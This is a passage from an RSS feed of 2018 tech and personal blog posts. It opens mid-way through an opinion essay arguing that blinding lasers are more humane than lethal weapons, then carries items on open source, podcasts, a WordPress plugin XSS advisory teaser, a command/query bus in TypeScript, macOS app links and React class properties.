&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Convention_on_Certain_Conventional_Weapons"&gt;The Convention on Certain Convential Weapons&lt;/a&gt;
concluded in 1980. Many nations came together to ban weapons like
&lt;a href="https://en.wikipedia.org/wiki/Protocol_on_Mines,_Booby-Traps_and_Other_Devices"&gt;Booby-Traps&lt;/a&gt;
and
&lt;a href="https://en.wikipedia.org/wiki/Protocol_on_Incendiary_Weapons"&gt;Incindiary Weapons&lt;/a&gt;.
These weapons were found to cause too much
"&lt;a href="https://en.wikipedia.org/wiki/Collateral_damage"&gt;collateral damage&lt;/a&gt;". Hooray
for protecting civilians!&lt;/p&gt;
&lt;h2 id="blind-is-infinitely-better-than-dead"&gt;Blind is Infinitely Better than Dead&lt;/h2&gt;
&lt;p&gt;Of course we don't want to harm innocent people, but imagine if we started
replacing bullets with lasers -- to &lt;em&gt;blind&lt;/em&gt; our enemies rather than &lt;em&gt;kill&lt;/em&gt; them.&lt;/p&gt;
&lt;p&gt;Blinded enemies are no longer viable opponents. Blinding weapons can remove
combatants them from war &lt;em&gt;without killing them&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Maiming soldiers is &lt;em&gt;way&lt;/em&gt; better than creating orphans and widows, right?&lt;/p&gt;
&lt;h2 id="blind-vs-"&gt;Blind vs. …&lt;/h2&gt;
&lt;p&gt;Humans favor sight over all other senses -- seriously,
&lt;a href="https://en.wikipedia.org/wiki/Visual_cortex"&gt;a huge proportion of our brains&lt;/a&gt;
are dedicated to visual/spatial processing.&lt;/p&gt;
&lt;p&gt;So why would you want to &lt;em&gt;purposefully&lt;/em&gt; destroy somebody's most precious
connection to the world? Shouldn't we rather aim for the limbs?&lt;/p&gt;
&lt;p&gt;Unfortunately, our current method is "&lt;em&gt;bombard them with bombs and bullets and
maybe they'll survive&lt;/em&gt;". We currently have no way of purposefully aiming for
limbs during war. Right now, every combatant plays a game of roulette with
prizes ranging from deafness to burns to limb loss to chronic respiratory
illness to &lt;em&gt;death&lt;/em&gt;. Wouldn't most soldiers rather play a game of "blind or
not-blind"?&lt;/p&gt;
&lt;p&gt;Becoming blind may reduce your quality of life, but it doesn't reduce the
quantity of your life, and it doesn't result in chronic pain.&lt;/p&gt;
&lt;p&gt;Blinding weapons aren't better because they maximize damage -- it's because they
minimize randomness.&lt;/p&gt;
&lt;h2 id="blind-is-forever"&gt;Blind is Forever&lt;/h2&gt;
&lt;p&gt;As a brief warning,
&lt;a href="https://en.wikipedia.org/wiki/Conflict_epidemiology"&gt;conflict epidemiology is notoriously difficult&lt;/a&gt;.
So be fairly skeptical of casualty counts.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.icrc.org/en/doc/resources/documents/misc/57jmcz.htm"&gt;The ICRC contends&lt;/a&gt;
that most victims of war are not permanently injured:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Sixty percent of war casualties both survive and fully recover over time. With
  blinding from lasers there would be no recovery and no prosthetic device can
  replace sight.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The ICRC is very wrong.&lt;/p&gt;
&lt;p&gt;In all of the US wars ever,
&lt;a href="https://en.wikipedia.org/wiki/United_States_military_casualties_of_war"&gt;about half all casualties were deaths&lt;/a&gt;
(1.3M dead, 1.4M wounded). And how many of those 1.4M wounded do you &lt;em&gt;really&lt;/em&gt;
think fully recovered?&lt;/p&gt;
&lt;p&gt;But let's pretend few survivors are permanently wounded, so that our
recover:maime:kill ratio is 40:10:50.&lt;/p&gt;
&lt;p&gt;Let me now remind you that our best attempt at being &lt;em&gt;humane&lt;/em&gt; is "&lt;em&gt;bombard them
with bombs and bullets and maybe they'll survive&lt;/em&gt;".&lt;/p&gt;
&lt;p&gt;Once again, non-lethal weapons that permanently injure others are terrible,
terrible feats of engineering. But blinding weapons &lt;em&gt;could&lt;/em&gt; change the
recover:maime:kill ratio to something like 10:70:20. Wouldn't that be a
signifcant improvement?&lt;/p&gt;
&lt;h2 id="jab-jab-hook"&gt;Jab, Jab, Hook!&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.icrc.org/en/doc/resources/documents/misc/57jmcz.htm"&gt;The ICRC argues&lt;/a&gt;
that blinding weapons are particularly harmful when they're used in combination
with lethal weapons:&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Blinding lasers would not actually save lives as they are intended to be used
  in addition to other weapons. They might even have the effect of increasing
  mortality rates as b linded opponents would not be able to defend themselves
  and thus be easily targeted by other weapons. As it is unlikely that an
  attacker would be able to assess at a distance whether an opponent has been
  rendered out of action by blinding, he would also use his other weapons. The
  result would therefore be just as many deaths and many more blind, thus
  increasing the suffering which results from battle.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The argument here is that blinding rays would be used as jab, to be followed up
with lethal hooks.&lt;/p&gt;
&lt;p&gt;Death is unavoidable in war, but it is in every military's best interest to
create as many survivors as possible. Why? Because wounded casualties are more
burdensome than dead ones.&lt;/p&gt;
&lt;p&gt;It's also in every military's best interest to reduce the destruction of
enemies' equipment and supplies. When you destroy something that can be reused,
you're harming both sides of the conflict! If blinding lasers are used as an
initial jab, then it incentivizes less-catastrophic secondary action.&lt;/p&gt;
&lt;p&gt;In other words, if a significant portion of your opponents have been blinded, it
opens up &lt;em&gt;more&lt;/em&gt; options of secondary non-lethal force. And all combatants are
incentivized to preserve enemies' lives, supplies, and equipment.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Imagine if US police officers used lasers instead of bullets -- how many deaths
could be prevented?
&lt;a href="https://www.pennmedicine.org/news/news-releases/2014/january/survival-rates-similar-for-gun"&gt;1/3 of gunshot wounds are lethal&lt;/a&gt;
(&lt;em&gt;this is just counting the people that survive long enough to be rushed to the
hospital&lt;/em&gt;). What if police officers were equipped with weapons less lethal than
guns, but with more range than pepper-spray?&lt;/p&gt;
&lt;p&gt;Imagine if the US used lasers rather than atomic bombs. Imagine if we &lt;em&gt;blinded&lt;/em&gt;
hundreds of thousands of Japanese civilians, rather than &lt;em&gt;killing&lt;/em&gt; them?
Wouldn't that something like that still do the trick? Of course, blinding an
entire city would cause a few casualties (e.g. people driving), but once again,
&lt;em&gt;it's better than exposing them to radiation&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Of course, war is terrible and we should stop fighting forever.&lt;/p&gt;
&lt;p&gt;But until we figure out how to achieve world-peace, we'll be the blind leading
the blind.&lt;/p&gt;</description><author>taylor.town</author><pubDate>Mon, 08 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/set-phasers-to-blind</guid></item><item><title>5 Reasons to Contribute to Open Source</title><link>https://www.mikekasberg.com/blog/2018/10/07/5-reasons-to-contribute-to-open-source.html</link><description>&lt;p&gt;It’s October, and &lt;a href="https://hacktoberfest.digitalocean.com/"&gt;Hacktoberfest&lt;/a&gt; is in
full swing! It’s a great time to contribute to open source. I love open source
software and the open source community, and I think contributing to open source
software has lots of benefits for professional software engineers. Here’s 5
reasons you should contribute to open source software.&lt;/p&gt;

&lt;h2 id="1-try-something-new"&gt;#1 Try Something New&lt;/h2&gt;

&lt;p&gt;Whether you want to learn a new language or try a new framework, open source
projects provide a great opportunity to learn about new technologies. Want to
see the latest version of Angular or React in action? Want to play around with
some projects in Go or Scala? By working on open source projects, you can gain
experience with technologies you’re interested in but might not be exposed to at
your day job. In fact, it’s a great way to research technologies to see if they
might fit well with your business needs. And if you contribute a pull request,
you’ll likely get some feedback from people who are experts in the technology
you want to learn.&lt;/p&gt;

&lt;h2 id="2-collaborate-more-effectively"&gt;#2 Collaborate More Effectively&lt;/h2&gt;

&lt;p&gt;When you work on an open source project, you probably won’t ever meet the people
you work with in person. All of your interaction will be online, via Github and
perhaps IRC or email. Because you can’t talk to the team face-to-face, written
communication is critically important. Most open source projects have
guidelines that promote best practices for communication, such as providing
clear, minimal examples of bugs and writing good commit messages. Open source
forces you to learn to communicate effectively in writing because there are no
other options for communication. Practices from open source projects can help
even in-person teams work more efficiently, and the communication skills you
pick up working on open source will make you a better developer.&lt;/p&gt;

&lt;h2 id="3-you-have-to-test-your-code"&gt;#3 You Have To Test Your Code&lt;/h2&gt;

&lt;p&gt;Most open source projects are pretty well tested. &lt;em&gt;They have to be&lt;/em&gt; in order to
keep their products from breaking while accepting pull requests from dozens (or
hundreds) of different people. If you submit a pull request and your code isn’t
tested, you’ll probably be asked to test it (and commit the tests) before it can
be merged. In fact,
&lt;a href="https://github.com/sebastianbergmann/phpunit/pull/2938"&gt;many projects&lt;/a&gt; use
tools like &lt;a href="https://codecov.io/"&gt;Codecov&lt;/a&gt; to automatically request changes on
pull requests that aren’t sufficiently tested. Contributing to open source
projects like these forces you to thoroughly test your code.  Moreover, many of
the testing practices they use (CI testing, code coverage analysis, style
checkers, etc) are also useful tools for closed-source development.&lt;/p&gt;

&lt;h2 id="4-learn-from-other-developers"&gt;#4 Learn From Other Developers&lt;/h2&gt;

&lt;p&gt;When you work on open source software, you get to interact with some of the best
developers around. You can learn a lot from the code they write as well as the
way they manage the project. How do they ensure their code is sufficiently
tested? How do they make the project accessible to newer developers without
letting the quality slip? Maybe you’ll be exposed to some new design patterns or
libraries that you haven’t seen before. Do they use
&lt;a href="https://junit.org/junit5/"&gt;JUnit&lt;/a&gt; or
&lt;a href="https://testng.org/doc/index.html"&gt;TestNG&lt;/a&gt;? Maybe they’re using
&lt;a href="https://hamcrest.org/"&gt;Hamcrest&lt;/a&gt; for their assertions? How do they handle
dependency injection, and what patterns do they use to test their date logic?
There’s no better way to learn than to see these patterns in action.&lt;/p&gt;

&lt;h2 id="5-it-makes-you-a-better-developer"&gt;#5 It Makes You A Better Developer&lt;/h2&gt;

&lt;p&gt;Contributing to open source is a great way to make yourself a better developer.
You’ll learn new skills, get new ideas, and have fun along the way. If you
haven’t worked on any open source projects lately, give it a try! There are
still 3 weeks left in &lt;a href="https://hacktoberfest.digitalocean.com/"&gt;Hacktoberfest
2018&lt;/a&gt;, so it’s a great time to start!
(And a big thanks to &lt;a href="https://www.digitalocean.com/"&gt;Digital Ocean&lt;/a&gt;,
&lt;a href="https://github.com/"&gt;GitHub&lt;/a&gt;, and &lt;a href="https://www.twilio.com/"&gt;Twilio&lt;/a&gt; for
sponsoring the event!)&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Sun, 07 Oct 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/10/07/5-reasons-to-contribute-to-open-source.html</guid></item><item><title>Store Passwords With KeePass</title><link>https://jorin.me/store-passwords-with-keepass/</link><description>Let me show you why KeePass is more fun than your cloud-based password manager.</description><author>jorin.me</author><pubDate>Sun, 07 Oct 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://jorin.me/store-passwords-with-keepass/</guid></item><item><title>Networking Essentials: Congestion Control</title><link>https://www.swyx.io/networking-essentials-congestion-control-26n2</link><description>&lt;p&gt;Bottlenecks inevitably arise in networks. How do we deal with them in TCP? How about in practical streaming applications like Youtube and Skype?&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Sun, 07 Oct 2018 05:52:44 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/networking-essentials-congestion-control-26n2</guid></item><item><title>The Problem with Podcasts</title><link>https://taylor.town/the-problem-with-podcasts</link><description>&lt;p&gt;Los Angeles and Riverside are separated by a minimum of 90 minutes of suburbs and shopping centers. Taking the CA-60, suburbia is interrupted by hills peppered in weed-like plants. I'm reluctant to call the flora "weeds", because half are tree-sized and the other half are dead.&lt;/p&gt;
&lt;p&gt;My pilgrimages to Riverside usually allot 240 minutes for phone-calls, listening, and aimless thought.
The human mouth is comfortable producing 150 English words-per-minute (WPM), but our ears can comprehend upwards of 500 WPM.
I usually listen to podcasts 2.0-2.5 times faster than they're recorded, which gives me 500 minutes (75,000 words) of podcasts on each round-trip. That's about eight podcast episodes or one whole book!&lt;/p&gt;
&lt;p&gt;Today my podcast backlog seemed particularly unappealing. I didn't want to hear about ice-baths, or identity politics, or nootropics trends, or cryptocurrency, or crime drama, or whether a "Devil's Triangle" could conceivably refer to anything &lt;em&gt;but&lt;/em&gt; a MMF threesome.
Luckly, I have audiobooks on standby for emergencies like this.&lt;/p&gt;
&lt;p&gt;I'm a huge fan of the gritty cyberpunk universes crafted by authors like Phillip K. Dick and Neal Stephenson. Books like Snowcrash consistently warp my views of capitalism, society, technology, drugs, and The Self.
So I guess it was finally time for "Distrust That Particular Flavor" by William Gibson, which is apparently not a novel -- it's an essay collection. I love essay collections! It was a surprise, but a welcome one.&lt;/p&gt;
&lt;p&gt;Anyway, Gibson is a genius. And I don't use that word lightly.
These essays induced frission. These essays demanded quiet reflection. These essays will forever change the way I see Japan, writing, futurology, dystopias, and the internet.
But this rant is not about how amazing Gibson is -- it's about what we're losing in this golden-age of podcasts.&lt;/p&gt;
&lt;p&gt;Some podcasts are just unprinted audiobooks with advertising. 
Stories like S-Town and The RFK Tapes take advantage of phone-interviews and historical audio, which doesn't translate to text or video very well. 
And series like Dan Carlin's Hardcore History have carved out a niche where books are too long and articles are too short. Carlin creates 4-hour masterpieces, recounting the past with fresh perspectives and a voice carrying conviction and emotion.
In these audiobook-esque experiences, the creators use audio to forge artistic information experiences in a deeply satisfying way. It is a careful craft, like film and literature.&lt;/p&gt;
&lt;p&gt;But most podcasts aren't audiobooks. They're weekly radio shows. 
Tim Ferris and Joe Rogan and Preet Bharara and Sam Harris have taught me a lot about the world -- I'm very grateful for that. But I'm starting to think that interviews are not optimal for communicating truly deep ideas.&lt;/p&gt;
&lt;p&gt;Conversation is good for certain things. It's good for covering current events from a singular perspective. It's good for debates (which usually devolve into mutual confirmation-bias masturbation). It's good for exploring cursory ideas, which the listener can later use The Internet for dissecting in greater detail.&lt;/p&gt;
&lt;p&gt;But it's hard to go deep in a few hours. It's not enough time to open up to thousands of strangers about your trauma (unless it's rehearsed). It's not enough time to catalog complexity. And it's not enough time to find mutual ground on contentious issues. It's just not enough time for our inefficient mouths and minds.&lt;/p&gt;
&lt;p&gt;Books are focused. Authors spend years crafting a singular narrative, to communicate a very specific idea. Podcast interviews are diffuse. Conversations ramble and reclarify and misstep and interrput and drift. They demand low-resolution regurgitations of their guests' ideas. And they're incentivized to blast through as many low-resolution sound-bites as possible, because listeners often want the "greatest hits".
Conversations are unexplored territory. You have to phrase things for an interviewer and an audience in real-time. Text is forgiving until it becomes permanent -- you can write draft, after draft, after draft, until your paragraphs approximate that uncomfortable idea deep down in your soul. It's difficult to write about difficult things. But it's often impossible to talk about them.&lt;/p&gt;
&lt;p&gt;Podcast guests must be careful about what "facts" they use. During interviews, hosts and guests use stats from their faulty memories. And even if they remember their "facts" correctly, there is no easy way to find a reference to the &lt;em&gt;exact&lt;/em&gt; thing they mentioned. And if the "fact" was wrong, then most shows don't bother even to "fact"-check.&lt;/p&gt;
&lt;p&gt;Podcasts &lt;em&gt;need&lt;/em&gt; to be more entertaining than books in order to survive. A book just needs to supply the information it promised on its cover -- the entire text is purchased up-front. And if you purchased the book, you're probably already interested in its contents, and gave the author permission to go as deep as possible. Podcasts, on the other hand, need to keep users engaged for advertisers. They need you to come back every week. They need &lt;em&gt;novelty&lt;/em&gt;. They need &lt;em&gt;excitement&lt;/em&gt;. Because they need to gain and retain as many listeners as possible, which stifles depth. Podcasts will always devolve into pulp and click-bait given enough time, because that what advertisers want.&lt;/p&gt;
&lt;p&gt;Anyway, I'm not saying that all books are better than all podcasts. I'm saying that podcasts aren't a viable replacement for audiobooks and other long-form content. Podcasts shouldn't be the main source of nutrition in your information diet.&lt;/p&gt;</description><author>taylor.town</author><pubDate>Sun, 07 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://taylor.town/the-problem-with-podcasts</guid></item><item><title>Ultimate Member User Profile &amp;amp; Membership Plugin STORED XSS</title><link>https://serhack.me/articles/ultimate-member-xss-security-issue/</link><description>Ultimate Member is one of the many user profile &amp;amp; membership plugins for WordPress. The plugin makes it a breeze for users to sign-up and become members of your website. The plugin allows you to add user profiles to your site and is suitable for creating advanced online communities and membership sites. Lightweight and highly extendible, Ultimate Member will enable you to create almost any type of site where users can join and become members with absolute ease. -&lt;a href="https://serhack.me/articles/ultimate-member-xss-security-issue/"&gt;Continue to read the article on SerHack.me&lt;/a&gt;</description><author>SerHack - Security Researcher</author><pubDate>Sat, 06 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://serhack.me/articles/ultimate-member-xss-security-issue/</guid></item><item><title>(Mis)adventures of Building a Chat Bot</title><link>https://trigonaminima.github.io/2018/10/chatbot/</link><description>In a Telegram group of three, a fourth member was added - GB - a Telegram bot. GB is the most useless, unavailing and noisy bot there is, but it’s fun. I started working on it because, I have always been interested in building chat bots, but never had the chance. Secondly, and this is a rather ambitious thinking, I want to build a NLP system able to understand and act on the natural language. Lastly, this was more of a realization when I started my work on GB, opportunity to build NLP tools and techniques for Hindi+English (or Hinglish). In the process, I’ll be working on both basic NLP and some advanced NLP techniques. And, I’ll try to implement everything from scratch.</description><author>Playground</author><pubDate>Sat, 06 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2018/10/chatbot/</guid></item><item><title>Eve 0.8.1 has been released</title><link>https://nicolaiarocci.com/eve-0.8.1-has-been-released/</link><description>&lt;p&gt;Just a quick note to report that &lt;a href="http://python-eve.org"&gt;Eve v0.8.1&lt;/a&gt; is out and &lt;a href="https://pypi.org/project/Eve/"&gt;ready to
rock&lt;/a&gt;. It brings a number of fixes, some improvements as well as a couple
of new features. Check out the &lt;a href="http://docs.python-eve.org/en/latest/changelog.html"&gt;changelog&lt;/a&gt; for details.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Join the &lt;a href="http://eepurl.com/b-_Pzz"&gt;newsletter&lt;/a&gt; to get an email alert when a new post surfaces on
this site. If you want to get in touch, I am @&lt;a href="http://twitter.com/nicolaiarocci"&gt;nicolaiarocci&lt;/a&gt; on twitter.&lt;/em&gt;&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 05 Oct 2018 10:01:01 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/eve-0.8.1-has-been-released/</guid></item><item><title>Command/Query Bus with IoC Container</title><link>https://jasonraimondi.com/posts/command-query-bus-with-ioc-container/</link><description>&lt;p&gt;Actions can either be a &lt;strong&gt;Command&lt;/strong&gt; or &lt;strong&gt;Query&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="application-core"&gt;Application Core&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://git.jasonraimondi.com/jason/posters-http/src/branch/master/src/domain/infrastructure/application.core.ts"&gt;ApplicationCore&lt;/a&gt; is our gateway into our bus. With the ApplicationCore, we can dispatch our Actions.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;LoggerService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createFromWinstonLogger&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;applicationCore&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;ApplicationCore&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;applicationCore&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displatchCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;CreateUser&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nx"&gt;passwordString&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nx"&gt;firstName&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;firstName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nx"&gt;lastName&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lastName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="actions"&gt;Actions&lt;/h3&gt;
&lt;p&gt;Actions can be either Commands or Queries. Commands change state, queries retrieve data.&lt;/p&gt;
&lt;p&gt;Actions need to register their respective handlers with the &lt;code&gt;@Action(ActionHandler)&lt;/code&gt; decorator. This registers the Action/ActionHandler pair so when a new action is dispatched we know which handler to execute.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Fri, 05 Oct 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/command-query-bus-with-ioc-container/</guid></item><item><title>macOS app bookmarks</title><link>https://xenodium.com/macos-app-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://apps.louplummer.lol/post/applite-an-app-store-for-homebrew"&gt;Applite - An App Store for Homebrew | App Addict&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://eclecticlight.co/cirrus-bailiff/"&gt;Cirrus &amp;amp; Bailiff (iCloud debugging tools)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://corkmac.app/"&gt;Cork: The Homebrew GUI for macOS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.hcs.harvard.edu/~jrus/site/cocoa-text.html"&gt;Customizing the Cocoa Text System&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://darkreader.org/"&gt;Dark Reader&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dmgbuild.readthedocs.io/en/latest/"&gt;dmgbuild - A command line tool to build .dmg files&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/GetStream/Winds/blob/master/README.md"&gt;GetStream/Winds: macOS rss reader&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/herrbischoff/awesome-macos-command-line#itunes"&gt;GitHub - herrbischoff/awesome-macos-command-line&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/koekeishiya/yabai"&gt;GitHub - koekeishiya/yabai: A tiling window manager for macOS based on binary&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/TermiT/Flycut"&gt;GitHub - TermiT/Flycut: Clean and simple clipboard manager for developers&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=21794858"&gt;Hidden Bar: macOS utility to hide unused menu bar icons, written in Swift&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.obdev.at/products/launchbar/index.html"&gt;LaunchBar 6 (can I implement flows in Emacs)?&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=21179713"&gt;List of open source applications for macOS (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://macopenweb.com/"&gt;Mac Open Web, by Brian Warren&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://eclecticlight.co/mac-troubleshooting-summary/"&gt;Mac Troubleshooting Summary – The Eclectic Light Company&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kam800/MachObfuscator/blob/master/README.md"&gt;MachObfuscator/README.md at master · kam800/MachObfuscator · GitHub&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://papers.put.as/macosx/macosx/"&gt;macOS · Papers, Slides and Thesis Archive&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://maverickmac.github.io/2024-06-24/maverick-mac"&gt;Maverick Mac | A curated list of awesome mac applications and utilities&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.gonsie.com/blorg/ipad-setup.html"&gt;My iPad Setup&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/nikitavoloboev/my-mac-os"&gt;My wonderful world of macOS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/nikitavoloboev/my-mac-os"&gt;my-mac-os: My wonderful world of macOS&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://thesweetsetup.com/netnewswire-5-0-relaunches-as-an-open-source-rss-reader-for-the-mac/"&gt;NetNewsWire 5.0 Relaunches as an Open-Source RSS Reader for the Mac – The Sweet Setup&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jacklandrin/OnlySwitch"&gt;OnlySwitch: Toggle all sorts of things from menu bar&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://smilesoftware.com/pdfpen/?"&gt;PDF Editor - PDFpen - Edit PDF Files (Smile Software)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://solutions.weblite.ca/pdfocrx/"&gt;PDF OCR X - Mac &amp;amp; Windows OCR Software to convert PDFs and Images to Text&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://apps.apple.com/us/app/rested-simple-http-requests/id421879749"&gt;‎RESTed - Simple HTTP Requests on the Mac App Store&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 05 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/macos-app-bookmarks</guid></item><item><title>React: Not Everything is State</title><link>https://dylanpaulus.com/posts/2018/not-everything-is-state/</link><description>&lt;p&gt;When working with React we get introduced to state as a way if storing component's data. There is another way that generally gets overlooked: class properties.&lt;/p&gt;
&lt;h4&gt;Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;class AnnoyingButton extends React.Component {
  intervalId = null; // Here!
  id = generateUniqueId(); // Here!

  state = {
    isDisabled: false,
  };

  componentDidMount() {
    this.intervalId = setInterval(() =&amp;gt; {
      this.setState(({ isDisabled }) =&amp;gt; ({
        isDisabled: !isDisabled,
      }));
    }, 100);
  }

  componentWillUnmount() {
    console.log(`Unmounting ID: ${this.id}`);
    clearInterval(this.intervalId);
  }

  render() {
    return &amp;lt;button disabled={this.state.isDisabled} /&amp;gt;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing special about the component; the interesting bits are the &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;intervalId&lt;/code&gt; variables. We need some way of preventing memory leaks when the component unmounts. In componentDidMount we save the interval's ID to a class property. Then, use the property to clear the interval and &lt;code&gt;console.log&lt;/code&gt; the component's unique ID.&lt;/p&gt;
&lt;p&gt;You might be thinking, "Why chouldn't we just store this information in the component's state?" React re-renders the component, and any child components, when the state changes. If the render method never uses a piece of the state it could be causing unwanted renders--making your application slower!&lt;/p&gt;
